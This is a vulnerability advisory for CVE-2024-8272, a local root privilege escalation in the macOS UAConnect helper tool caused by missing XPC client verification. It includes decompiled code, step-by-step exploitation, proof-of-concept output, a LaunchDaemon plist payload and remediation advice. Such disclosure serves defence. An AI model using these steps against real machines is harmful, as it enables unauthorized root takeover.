macOS UAConnect <= 2.7.0 - Local Privilege Escalation

Dec 11, 2024

CVE Number

CVE-2024-8272

Credits

Carlos Garrido of Pentraze Cybersecurity

Summary

The application UAConnect is affected by a local privilege escalation vulnerability, allowing an attacker to perform multiple operations as the root user due to the Helper Tool Service’s failure to verify the client’s code signature

The vulnerability described in the following report was tested on version 2.7.0.

CVSS

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

The UAConnect application is designed based on the “factored applications” model, which separates its functionality into distinct components. Among these, UAConnect utilizes a Helper Tool named com.uaudio.bsd.helper to perform tasks that require elevated privileges, such as arbitrary file writing, modifying file ownership and permissions, and installing packages. Communication with this Privileged Helper Tool is established through XPC.

It’s crucial for an XPC service to verify the code signature of any process attempting to establish a connection. There are two methods for performing this validation: the public processIdentifier and the private auditToken properties. However, relying on processIdentifier is insecure. Unfortunately, com.uaudio.bsd.helper is not verifying the code requirement, entitlements, or flags of the client attempting to establish an XPC connection.

xpc_connection_set_event_handler

When the com.uaudio.bsd.helper service receives a message via XPC, xpc_connection_set_event_handler sets the event handler block for the connection. Both the connection (xpc_connection_t) and the message (xpc_object_t) are passed to the sub_100001b80 function. However, sub_100001b80 does not validate the connection at any point; instead, it simply leverages xpc_dictionary_get_* to extract the value for the ‘command’ key and proceeds to execute a specific system-level command.

int64_t sub_100001b10(int64_t arg1, xpc_connection_t arg2)
	_syslog$DARWIN_EXTSN(5, "Configuring message event handle…")
	int64_t (* const var_38)() = __NSConcreteStackBlock
	int64_t var_30 = 0x40000000
	xpc_type_t (* var_28)(int64_t arg1, xpc_object_t arg2) = sub_100001b80
	void* const var_20 = &data_100004238
	xpc_connection_t var_18 = arg2
	_xpc_connection_set_event_handler(arg2, &var_38)
	return _xpc_connection_resume(arg2)

xpc_type_t sub_100001b80(int64_t arg1, xpc_object_t arg2)
	_syslog$DARWIN_EXTSN(5, "Received event in helper.")
	xpc_type_t result = _xpc_get_type(arg2)
     
	if (result == __xpc_type_error)
		return result

	xpc_connection_t r14_1 = _xpc_dictionary_get_remote_connection(arg2)
	xpc_object_t xdict_1 = _xpc_dictionary_create_reply(arg2)
	char* __s1 = _xpc_dictionary_get_string(arg2, key: "command")
	.
	.
	<SNIP>
	.
	.

Commands

The following commands are allowed by the XPC service and can be exploited by a malicious actor to perform privileged operations on the system as the root user:


    if (_strcmp(__s1, __s2: "chmod") == 0)
        value_1 = sub_100002410(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: "mode"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))

    else if (_strcmp(__s1, __s2: "chown") == 0)
        value_1 = sub_100002530(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: &data_100003927), _xpc_dictionary_get_uint64(arg2, key: &data_10000392b), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
    
    else if (_strcmp(__s1, __s2: "setxattr") == 0)
        value_1 = sub_100002650(_xpc_dictionary_get_string(arg2, key: "path"), _xpc_dictionary_get_string(arg2, key: "name"), _xpc_dictionary_get_string(arg2, key: "value"), _xpc_dictionary_get_uint64(arg2, key: "size"), _xpc_dictionary_get_uint64(arg2, key: "position"), _xpc_dictionary_get_int64(xdict: arg2, key: "options"))

    else if (_strcmp(__s1, __s2: "removexattr") == 0)
        value_1 = sub_100002670(_xpc_dictionary_get_string(arg2, key: "path"), _xpc_dictionary_get_string(arg2, key: "name"), _xpc_dictionary_get_int64(xdict: arg2, key: "options"))

    else if (_strcmp(__s1, __s2: "touch") == 0)
        value_1 = sub_1000026f0(_xpc_dictionary_get_string(arg2, key: "file"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))

    else if (_strcmp(__s1, __s2: "remove") == 0)
        value_1 = sub_100002810(_xpc_dictionary_get_string(arg2, key: "file"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))

    else if (_strcmp(__s1, __s2: "mkdir") == 0)
        value_1 = sub_100002910(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: "mode"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))

    else if (_strcmp(__s1, __s2: "symlink") == 0)
        value_1 = sub_100002a20(_xpc_dictionary_get_string(arg2, key: "target"), _xpc_dictionary_get_string(arg2, key: "file"))

    else if (_strcmp(__s1, __s2: "move") == 0)
        value_1 = sub_100002a40(_xpc_dictionary_get_string(arg2, key: "source"), _xpc_dictionary_get_string(arg2, key: "dest"))

    else if (_strcmp(__s1, __s2: "swap") == 0)
        value_1 = sub_100002a60(_xpc_dictionary_get_string(arg2, key: "source"), _xpc_dictionary_get_string(arg2, key: "dest"))
    
    else
        xpc_connection_t var_48
        
        if (_strcmp(__s1, __s2: "copy") == 0)
            int64_t rax_44 = _xpc_dictionary_get_int64(xdict: arg2, key: "refnum")
            char* rax_45 = _xpc_dictionary_get_string(arg2, key: "source")
            char* rax_46 = _xpc_dictionary_get_string(arg2, key: "dest")
            uint32_t r8_2 = zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive"))
            var_48 = r14_1
            int64_t var_40_1 = rax_44
            value_1 = sub_100002f90(rax_45, rax_46, sub_100002120, &var_48, r8_2)

        else if (_strcmp(__s1, __s2: "install") == 0)
            int64_t rax_49 = _xpc_dictionary_get_int64(xdict: arg2, key: "refnum")
            char* rax_50 = _xpc_dictionary_get_string(arg2, key: "pkg_path")
            char* rax_51 = _xpc_dictionary_get_string(arg2, key: "vol_path")
            var_48 = r14_1
            int64_t var_40_2 = rax_49
            value_1 = sub_1000032c0(rax_50, rax_51, sub_100002120, &var_48)
        else
            _xpc_dictionary_set_string(xdict_1, key: "message", string: "Unknown command")
            value_1 = -1
            .
            .
            <SNIP>
            .
            .

Exploitation Scenario

The exploitation can be summarized in these steps:

  1. Create a PLIST file that will store the payload to be executed as the root user.

  2. The client establishes an XPC connection via xpc_connection_create_mach_service to the service com.uaudio.bsd.helper with the XPC_CONNECTION_MACH_SERVICE_PRIVILEGED flag.

  3. A message is sent to change the owner and group of the PLIST file to root.

  4. The PLIST file is moved to /Library/LaunchDaemons.

  5. Upon restarting the machine, launchd will process the new PLIST file, thereby executing the payload in the root user context.

Exploitation

garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/pwned.txt 
ls: /Library/pwned.txt: No such file or directory
garrido@Garridos-MacBook-Air UAConnect % ls -l  /Library/LaunchDaemons/com.privesc.Load.plist
ls: /Library/LaunchDaemons/com.privesc.Load.plist: No such file or directory
garrido@Garridos-MacBook-Air UAConnect % whoami
garrido
garrido@Garridos-MacBook-Air UAConnect % ./UAConnect_Privesc 
[+) UAConnect Privilege Escalation

[+] Writing custom PLIST to /private/tmp/com.privesc.Load.plist
[+] Resuming remote connection

[+] Debug Event Message [version]: <dictionary: 0x600001208000> { count = 2, transaction: 0, voucher = 0x0, contents =
	"message" => <string: 0x6000023082d0> { length = 5, contents = "2.7.0" }
	"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [version]: 2.7.0

[+] Debug Event Message [chown]: <dictionary: 0x60000120c0f0> { count = 1, transaction: 0, voucher = 0x0, contents =
	"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [chown]: 0

[+] Debug Event Message [move]: <dictionary: 0x600001208000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [move]: 0
[+] Done!%
garrido@Garridos-MacBook-Air UAConnect % ls -l  /Library/LaunchDaemons/com.privesc.Load.plist
-rw-r--r--  1 root  wheel  411 Aug 29 07:11 /Library/LaunchDaemons/com.privesc.Load.plist
garrido@Garridos-MacBook-Air UAConnect % cat  /Library/LaunchDaemons/com.privesc.Load.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.privesc.Load</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /Library/pwned.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
  • Once the computer is restarted, we will find that our command was executed successfully:
garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/pwned.txt 
-rw-r--r--  1 root  wheel  0 Aug 29 07:15 /Library/pwned.txt

Remediation

  1. Terminate the connection upon receiving an unrecognized message.

  2. Perform authorization checks before accepting a connection whenever possible.

  • If authorization checks are not feasible at that stage, use xpc_dictionary_get_audit_token.

  • Alternatively, save the audit token during the accept handler for later use (this method is also effective for NSXPCConnection).

  1. Leverage new APIs for automatic code signing verification before accepting a connection:

    • [NSXPCConnection setCodeSigningRequirement:] (available since macOS 13.0)

    • xpc_connection_set_peer_code_signing_requirement (available since macOS 12.0)

References

¿Ver el sitio en español?